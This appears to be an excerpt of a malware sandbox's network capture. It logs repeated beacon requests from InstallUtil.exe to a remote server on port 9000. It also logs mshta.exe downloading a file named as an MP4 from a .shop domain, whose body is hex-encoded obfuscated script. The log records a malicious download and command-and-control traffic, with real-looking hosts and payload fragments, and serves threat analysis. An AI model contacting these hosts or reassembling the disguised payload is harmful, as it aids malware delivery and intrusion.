Dec 17, 2024 08:41:54.205380917 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50117	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:54.455918074 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:55.772182941 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50118	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:56.008167028 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:41:57.333467960 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50119	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:57.568701982 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:58.895956039 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50120	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:59.131350040 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:00.457179070 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50121	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:00.700977087 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:42:02.024213076 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50122	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:02.255341053 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:03.582947969 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50123	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:03.826011896 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:05.186963081 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50124	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:05.418807030 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:06.742234945 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50125	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:06.976416111 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:42:08.311798096 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50126	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:08.640394926 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:09.966558933 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:09 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50127	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:10.192002058 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:11.525341988 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50128	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:11.755480051 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:13.100080013 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50129	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:13.341274977 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:14.667074919 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50130	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:14.902281046 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:16.226494074 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50131	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:42:16.460623980 CET	110	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000 Connection: Keep-Alive
Dec 17, 2024 08:42:17.785204887 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:42:17 GMT Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.112.1	443	1600	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 07:38:13 UTC	334	OUT	GET /3VKKE.mp4 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: static.klipxuhaq.shop Connection: Keep-Alive
2024-12-17 07:38:14 UTC	914	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:38:14 GMT Content-Type: video/mp4 Content-Length: 352584 Connection: close Accept-Ranges: bytes ETag: "61eff840778583e9969afeda5ba02ef0" Last-Modified: Tue, 10 Dec 2024 19:02:11 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K9BKFl0JeHAVXmufGoNFbVsMvH0%2FlbLYEcg%2BAacYUD00muLA9SbtMBGz%2Br3EN4oP38HxkVZk50rgT33YdnSoS8Kc7Hm6T9BeGrNECa%2B8L3ZCvjcXmzXmcl7Ju4sXKLLplyY%2BYmZouZo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35409d8d18729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1997&min_rtt=1992&rtt_var=758&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2873&recv_bytes=916&delivery_rate=1432777&cwnd=169&unsent_bytes=0&cid=ef09e8d9583b5e3f&ts=1106&x=0"
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 36 36 71 37 35 62 36 65 62 36 33 69 37 34 62 36 39 63 36 66 78 36 65 53 32 30 7a 34 61 77 35 33 59 35 38 4e 37 38 54 34 39 50 37 38 74 32 38 46 35 32 74 35 61 57 37 33 44 37 30 62 32 39 4b 37 62 70 37 36 4c 36 31 78 37 32 43 32 30 79 35 37 4a 37 33 74 36 32 78 35 36 6d 33 64 71 32 30 55 32 37 72 32 37 47 33 62 68 36 36 57 36 66 68 37 32 50 32 30 75 32 38 51 37 36 65 36 31 44 37 32 78 32 30 74 37 38 53 37 31 79 37 32 42 34 63 43 35 35 66 32 30 6e 33 64 77 32 30 55 33 30 47 33 62 71 37 38 41 37 31 41 37 32 51 34 63 64 35 35 66 32 30 63 33 63 54 32 30 45 35 32 56 35 61 4e 37 33 47 37 30 45 32 65 57 36 63 4d 36 35 69 36 65 58 36 37 59 37 34 65 36 38 63 33 62 6e 32 30 78 37 38 48 37 31 73 37 32 52 34 63 66 35 35 45 32 62 78 32 62 48 32 39 4e 37 62 4a 37 36 70 Data Ascii: 66q75b6eb63i74b69c6fx6eS20z4aw53Y58N78T49P78t28F52t5aW73D70b29K7bp76L61x72C20y57J73t62x56m3dq20U27r27G3bh66W6fh72P20u28Q76e61D72x20t78S71y72B4cC55f20n3dw20U30G3bq78A71A72Q4cd55f20c3cT20E52V5aN73G70E2eW6cM65i6eX67Y74e68c3bn20x78H71s72R4cf55E2bx2bH29N7bJ76p
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 63 68 33 33 4c 33 34 51 33 34 59 32 63 5a 33 32 6b 33 36 78 33 36 57 32 63 41 33 32 4a 33 37 4d 33 39 72 32 63 5a 33 33 71 33 34 46 33 39 6f 32 63 76 33 33 61 33 34 4b 33 36 49 32 63 6f 33 33 61 33 34 4e 33 32 5a 32 63 63 33 33 77 33 33 68 33 39 76 32 63 79 33 33 56 33 35 62 33 30 46 32 63 65 33 32 4d 33 36 70 33 36 46 32 63 71 33 32 48 33 37 6a 33 34 43 32 63 45 33 32 53 33 37 6d 33 30 74 32 63 64 33 33 79 33 31 41 33 39 45 32 63 79 33 33 71 33 35 73 33 32 55 32 63 6d 33 33 53 33 33 75 33 38 48 32 63 78 33 33 72 33 30 77 33 35 64 32 63 43 33 32 42 33 36 59 33 36 66 32 63 68 33 32 48 33 37 4d 33 39 4d 32 63 41 33 33 41 33 34 79 33 38 6e 32 63 71 33 33 48 33 33 44 33 35 56 32 63 6f 33 33 55 33 34 77 33 36 64 32 63 76 33 33 64 33 34 78 33 32 49 32 63 63 33 Data Ascii: ch33L34Q34Y2cZ32k36x36W2cA32J37M39r2cZ33q34F39o2cv33a34K36I2co33a34N32Z2cc33w33h39v2cy33V35b30F2ce32M36p36F2cq32H37j34C2cE32S37m30t2cd33y31A39E2cy33q35s32U2cm33S33u38H2cx33r30w35d2cC32B36Y36f2ch32H37M39M2cA33A34y38n2cq33H33D35V2co33U34w36d2cv33d34x32I2cc3
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 73 33 32 46 33 38 77 33 36 62 32 63 7a 33 32 53 33 38 6a 33 32 4d 32 63 52 33 33 6b 33 30 43 33 31 62 32 63 4a 33 32 54 33 38 76 33 37 4f 32 63 65 33 32 64 33 38 56 33 38 4f 32 63 44 33 32 41 33 38 6b 33 33 6e 32 63 62 33 32 65 33 39 79 33 31 49 32 63 42 33 32 43 33 38 6f 33 33 61 32 63 49 33 33 6d 33 30 45 33 33 66 32 63 78 33 32 56 33 38 6a 33 35 70 32 63 57 33 32 64 33 38 71 33 36 72 32 63 52 33 33 55 33 30 42 33 34 44 32 63 59 33 33 70 33 30 7a 33 30 68 32 63 4f 33 32 58 33 38 4e 33 39 72 32 63 55 33 33 4a 33 30 41 33 30 55 32 63 55 33 32 62 33 38 4c 33 34 50 32 63 76 33 33 62 33 30 53 33 32 58 32 63 4f 33 33 51 33 30 52 33 34 49 32 63 75 33 32 67 33 39 72 33 30 61 32 63 4b 33 32 74 33 38 56 33 39 48 32 63 64 33 32 75 33 38 6a 33 38 4c 32 63 43 33 32 Data Ascii: s32F38w36b2cz32S38j32M2cR33k30C31b2cJ32T38v37O2ce32d38V38O2cD32A38k33n2cb32e39y31I2cB32C38o33a2cI33m30E33f2cx32V38j35p2cW32d38q36r2cR33U30B34D2cY33p30z30h2cO32X38N39r2cU33J30A30U2cU32b38L34P2cv33b30S32X2cO33Q30R34I2cu32g39r30a2cK32t38V39H2cd32u38j38L2cC32
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 33 33 70 33 30 4e 33 32 62 32 63 6c 33 32 45 33 38 68 33 36 65 32 63 69 33 32 6f 33 38 6f 33 37 4d 32 63 57 33 33 49 33 30 50 33 34 65 32 63 75 33 32 7a 33 38 6d 33 36 72 32 63 47 33 32 4c 33 38 4c 33 35 46 32 63 61 33 32 4a 33 39 6f 33 30 4f 32 63 53 33 33 63 33 30 6e 33 32 63 32 63 77 33 32 53 33 38 52 33 33 73 32 63 45 33 32 42 33 38 41 33 37 66 32 63 69 33 33 6d 33 30 4a 33 32 44 32 63 43 33 32 70 33 38 65 33 37 58 32 63 69 33 32 6d 33 38 51 33 39 54 32 63 58 33 32 51 33 38 52 33 35 58 32 63 65 33 32 49 33 39 41 33 39 63 32 63 50 33 33 54 33 30 4d 33 30 46 32 63 42 33 32 4d 33 38 51 33 37 45 32 63 71 33 33 58 33 30 5a 33 33 73 32 63 7a 33 32 47 33 38 4a 33 36 54 32 63 42 33 32 48 33 39 44 33 30 6c 32 63 65 33 32 51 33 38 67 33 33 66 32 63 4c 33 32 54 Data Ascii: 33p30N32b2cl32E38h36e2ci32o38o37M2cW33I30P34e2cu32z38m36r2cG32L38L35F2ca32J39o30O2cS33c30n32c2cw32S38R33s2cE32B38A37f2ci33m30J32D2cC32p38e37X2ci32m38Q39T2cX32Q38R35X2ce32I39A39c2cP33T30M30F2cB32M38Q37E2cq33X30Z33s2cz32G38J36T2cB32H39D30l2ce32Q38g33f2cL32T
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 32 41 33 38 4e 33 37 59 32 63 4d 33 32 61 33 38 78 33 38 74 32 63 6f 33 32 6a 33 39 58 33 39 49 32 63 70 33 32 50 33 39 6c 33 30 76 32 63 6b 33 33 6a 33 30 56 33 31 4e 32 63 77 33 32 49 33 38 4d 33 37 4a 32 63 68 33 32 6f 33 39 76 33 30 47 32 63 57 33 33 64 33 30 5a 33 30 75 32 63 57 33 33 6c 33 30 54 33 34 77 32 63 5a 33 32 56 33 38 55 33 34 4e 32 63 59 33 33 61 33 30 44 33 30 73 32 63 6a 33 32 73 33 38 50 33 34 46 32 63 67 33 32 54 33 39 55 33 39 6d 32 63 6a 33 33 4c 33 30 76 33 32 59 32 63 6f 33 33 44 33 30 72 33 31 58 32 63 66 33 32 71 33 38 57 33 32 4c 32 63 4b 33 32 63 33 38 6d 33 32 44 32 63 76 33 32 6f 33 38 57 33 39 4f 32 63 50 33 33 48 33 30 6f 33 31 56 32 63 46 33 32 54 33 39 61 33 39 70 32 63 5a 33 32 71 33 38 5a 33 32 44 32 63 49 33 32 6d 33 Data Ascii: 2A38N37Y2cM32a38x38t2co32j39X39I2cp32P39l30v2ck33j30V31N2cw32I38M37J2ch32o39v30G2cW33d30Z30u2cW33l30T34w2cZ32V38U34N2cY33a30D30s2cj32s38P34F2cg32T39U39m2cj33L30v32Y2co33D30r31X2cf32q38W32L2cK32c38m32D2cv32o38W39O2cP33H30o31V2cF32T39a39p2cZ32q38Z32D2cI32m3
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 6d 33 30 5a 33 30 51 32 63 65 33 32 54 33 38 4c 33 36 52 32 63 4a 33 33 50 33 30 67 33 31 68 32 63 6c 33 33 58 33 30 6d 33 34 55 32 63 65 33 32 52 33 38 54 33 34 69 32 63 63 33 33 65 33 30 4b 33 30 4e 32 63 52 33 33 76 33 30 4e 33 32 71 32 63 4e 33 32 6b 33 39 6b 33 30 70 32 63 65 33 32 49 33 39 75 33 30 6a 32 63 64 33 32 62 33 38 65 33 32 48 32 63 68 33 32 69 33 38 54 33 38 76 32 63 6f 33 32 63 33 38 67 33 38 55 32 63 72 33 32 42 33 38 66 33 38 66 32 63 64 33 33 55 33 30 6f 33 30 62 32 63 63 33 33 4c 33 30 79 33 33 69 32 63 47 33 32 55 33 39 44 33 31 5a 32 63 65 33 32 71 33 39 43 33 30 63 32 63 63 33 32 44 33 38 71 33 32 43 32 63 6d 33 32 4c 33 39 42 33 30 74 32 63 4b 33 32 50 33 38 5a 33 32 6f 32 63 4f 33 32 73 33 38 79 33 35 4d 32 63 45 33 32 46 33 39 Data Ascii: m30Z30Q2ce32T38L36R2cJ33P30g31h2cl33X30m34U2ce32R38T34i2cc33e30K30N2cR33v30N32q2cN32k39k30p2ce32I39u30j2cd32b38e32H2ch32i38T38v2co32c38g38U2cr32B38f38f2cd33U30o30b2cc33L30y33i2cG32U39D31Z2ce32q39C30c2cc32D38q32C2cm32L39B30t2cK32P38Z32o2cO32s38y35M2cE32F39
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 33 39 6d 33 39 50 32 63 76 33 32 46 33 39 4c 33 39 75 32 63 79 33 32 46 33 38 70 33 36 4e 32 63 6c 33 33 66 33 30 43 33 33 58 32 63 63 33 32 62 33 38 65 33 34 64 32 63 50 33 32 79 33 38 62 33 39 49 32 63 50 33 32 4c 33 38 73 33 34 6a 32 63 51 33 32 57 33 38 69 33 38 59 32 63 4c 33 32 49 33 38 6c 33 37 76 32 63 44 33 32 56 33 38 57 33 36 63 32 63 58 33 32 51 33 38 61 33 36 49 32 63 6a 33 32 75 33 38 47 33 32 6d 32 63 65 33 32 69 33 38 54 33 34 66 32 63 47 33 32 70 33 39 55 33 31 68 32 63 4b 33 32 65 33 38 7a 33 32 6b 32 63 4e 33 32 63 33 38 65 33 37 62 32 63 58 33 33 51 33 30 43 33 34 63 32 63 75 33 33 48 33 30 55 33 33 48 32 63 46 33 33 42 33 30 47 33 30 79 32 63 59 33 32 53 33 38 5a 33 33 56 32 63 45 33 32 46 33 38 45 33 32 68 32 63 44 33 32 43 33 38 53 Data Ascii: 39m39P2cv32F39L39u2cy32F38p36N2cl33f30C33X2cc32b38e34d2cP32y38b39I2cP32L38s34j2cQ32W38i38Y2cL32I38l37v2cD32V38W36c2cX32Q38a36I2cj32u38G32m2ce32i38T34f2cG32p39U31h2cK32e38z32k2cN32c38e37b2cX33Q30C34c2cu33H30U33H2cF33B30G30y2cY32S38Z33V2cE32F38E32h2cD32C38S
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 30 55 33 32 4b 32 63 4c 33 32 72 33 39 4e 33 30 4e 32 63 55 33 32 50 33 38 79 33 34 79 32 63 56 33 33 6e 33 30 44 33 34 4e 32 63 55 33 32 50 33 38 4a 33 38 4a 32 63 62 33 33 49 33 30 4a 33 34 50 32 63 53 33 32 55 33 38 4d 33 34 58 32 63 58 33 32 46 33 38 6f 33 33 44 32 63 71 33 33 4d 33 30 43 33 33 44 32 63 44 33 32 44 33 39 76 33 30 4c 32 63 6d 33 32 54 33 38 77 33 33 44 32 63 58 33 33 6c 33 30 53 33 32 45 32 63 6a 33 32 56 33 38 69 33 36 4d 32 63 55 33 32 52 33 38 75 33 35 43 32 63 74 33 32 45 33 38 72 33 38 72 32 63 65 33 33 70 33 30 70 33 32 50 32 63 62 33 32 76 33 38 49 33 36 4a 32 63 6b 33 32 41 33 38 4a 33 35 52 32 63 55 33 32 79 33 38 57 33 37 49 32 63 4d 33 33 47 33 30 73 33 34 68 32 63 42 33 33 49 33 30 6e 33 33 43 32 63 57 33 32 62 33 38 6a 33 Data Ascii: 0U32K2cL32r39N30N2cU32P38y34y2cV33n30D34N2cU32P38J38J2cb33I30J34P2cS32U38M34X2cX32F38o33D2cq33M30C33D2cD32D39v30L2cm32T38w33D2cX33l30S32E2cj32V38i36M2cU32R38u35C2ct32E38r38r2ce33p30p32P2cb32v38I36J2ck32A38J35R2cU32y38W37I2cM33G30s34h2cB33I30n33C2cW32b38j3
2024-12-17 07:38:14 UTC	1369	IN	Data Raw: 6e 33 34 66 32 63 48 33 32 58 33 39 4e 33 30 79 32 63 6d 33 33 69 33 30 69 33 30 4b 32 63 7a 33 32 4c 33 38 6d 33 34 4f 32 63 50 33 33 72 33 30 74 33 31 6b 32 63 4f 33 33 57 33 30 49 33 31 68 32 63 77 33 33 66 33 30 42 33 30 79 32 63 56 33 32 58 33 39 75 33 31 54 32 63 43 33 32 72 33 38 4a 33 37 57 32 63 65 33 33 6e 33 30 6a 33 32 61 32 63 48 33 32 56 33 38 54 33 35 7a 32 63 47 33 33 42 33 30 51 33 30 6e 32 63 6f 33 32 5a 33 38 50 33 35 73 32 63 78 33 32 4c 33 39 7a 33 31 4c 32 63 4e 33 32 47 33 38 6a 33 37 63 32 63 57 33 33 50 33 30 63 33 31 50 32 63 6f 33 32 4f 33 38 49 33 33 48 32 63 42 33 32 51 33 38 6b 33 33 62 32 63 49 33 33 54 33 30 63 33 34 74 32 63 44 33 33 4a 33 30 61 33 30 76 32 63 4f 33 32 4e 33 38 4b 33 33 77 32 63 48 33 33 42 33 30 57 33 32 Data Ascii: 